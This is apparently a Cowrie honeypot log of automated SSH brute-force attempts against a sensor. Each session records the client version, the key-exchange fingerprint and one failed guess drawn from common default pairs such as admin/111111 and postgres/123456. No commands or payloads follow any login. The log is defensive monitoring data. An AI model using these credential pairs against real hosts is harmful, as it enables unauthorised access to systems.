{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47546,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc0681c4750","protocol":"ssh","message":"New connection: 192.109.200.78:47546 (10.17.0.5:22) [session: 2fc0681c4750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:27.261279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:27.265551Z","src_ip":"192.109.200.78","session":"2fc0681c4750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:27.346490Z","src_ip":"192.109.200.78","session":"2fc0681c4750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:27.598832Z","src_ip":"192.109.200.78","session":"2fc0681c4750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:28.683345Z","src_ip":"192.109.200.78","session":"2fc0681c4750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47570,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b85cedc137d","protocol":"ssh","message":"New connection: 192.109.200.78:47570 (10.17.0.5:22) [session: 2b85cedc137d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:30.640662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:30.644297Z","src_ip":"192.109.200.78","session":"2b85cedc137d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:30.725127Z","src_ip":"192.109.200.78","session":"2b85cedc137d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:30.972195Z","src_ip":"192.109.200.78","session":"2b85cedc137d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:32.055383Z","src_ip":"192.109.200.78","session":"2b85cedc137d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42864,"dst_ip":"10.17.0.5","dst_port":22,"session":"803b9e085bf6","protocol":"ssh","message":"New connection: 192.109.200.78:42864 (10.17.0.5:22) [session: 803b9e085bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:34.056489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:34.083623Z","src_ip":"192.109.200.78","session":"803b9e085bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:34.293945Z","src_ip":"192.109.200.78","session":"803b9e085bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:34.579989Z","src_ip":"192.109.200.78","session":"803b9e085bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:35.663872Z","src_ip":"192.109.200.78","session":"803b9e085bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42876,"dst_ip":"10.17.0.5","dst_port":22,"session":"0882b90f889d","protocol":"ssh","message":"New connection: 192.109.200.78:42876 (10.17.0.5:22) [session: 0882b90f889d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:37.749636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:37.754093Z","src_ip":"192.109.200.78","session":"0882b90f889d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:37.838432Z","src_ip":"192.109.200.78","session":"0882b90f889d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:38.084471Z","src_ip":"192.109.200.78","session":"0882b90f889d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:39.167721Z","src_ip":"192.109.200.78","session":"0882b90f889d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":52102,"dst_ip":"159.203.135.109","dst_port":22,"session":"b897545259d7","protocol":"ssh","message":"New connection: 46.29.234.126:52102 (159.203.135.109:22) [session: b897545259d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:39.296802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:39.301215Z","src_ip":"46.29.234.126","session":"b897545259d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:39.414325Z","src_ip":"46.29.234.126","session":"b897545259d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Debian@2023","message":"login attempt [debian/Debian@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:39.901410Z","src_ip":"46.29.234.126","session":"b897545259d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:41.017277Z","src_ip":"46.29.234.126","session":"b897545259d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42878,"dst_ip":"10.17.0.5","dst_port":22,"session":"3628055c7793","protocol":"ssh","message":"New connection: 192.109.200.78:42878 (10.17.0.5:22) [session: 3628055c7793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:41.261316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:41.265128Z","src_ip":"192.109.200.78","session":"3628055c7793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:41.349133Z","src_ip":"192.109.200.78","session":"3628055c7793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:41.593384Z","src_ip":"192.109.200.78","session":"3628055c7793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:42.677091Z","src_ip":"192.109.200.78","session":"3628055c7793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58236,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf4bdf1a678","protocol":"ssh","message":"New connection: 192.109.200.78:58236 (10.17.0.5:22) [session: fdf4bdf1a678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:44.786233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:44.882384Z","src_ip":"192.109.200.78","session":"fdf4bdf1a678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:44.885443Z","src_ip":"192.109.200.78","session":"fdf4bdf1a678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:45.503221Z","src_ip":"192.109.200.78","session":"fdf4bdf1a678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:46.586868Z","src_ip":"192.109.200.78","session":"fdf4bdf1a678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58246,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a7ccba63f6","protocol":"ssh","message":"New connection: 192.109.200.78:58246 (10.17.0.5:22) [session: f7a7ccba63f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:48.336419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:48.343473Z","src_ip":"192.109.200.78","session":"f7a7ccba63f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:48.424438Z","src_ip":"192.109.200.78","session":"f7a7ccba63f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:48.669346Z","src_ip":"192.109.200.78","session":"f7a7ccba63f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:49.753237Z","src_ip":"192.109.200.78","session":"f7a7ccba63f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.24909496307373,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:50.816874Z","src_ip":"172.81.62.90","session":"004c03df7693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58250,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed52ebc141a","protocol":"ssh","message":"New connection: 192.109.200.78:58250 (10.17.0.5:22) [session: 9ed52ebc141a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:51.695610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:51.699690Z","src_ip":"192.109.200.78","session":"9ed52ebc141a","protocol":"ssh"}
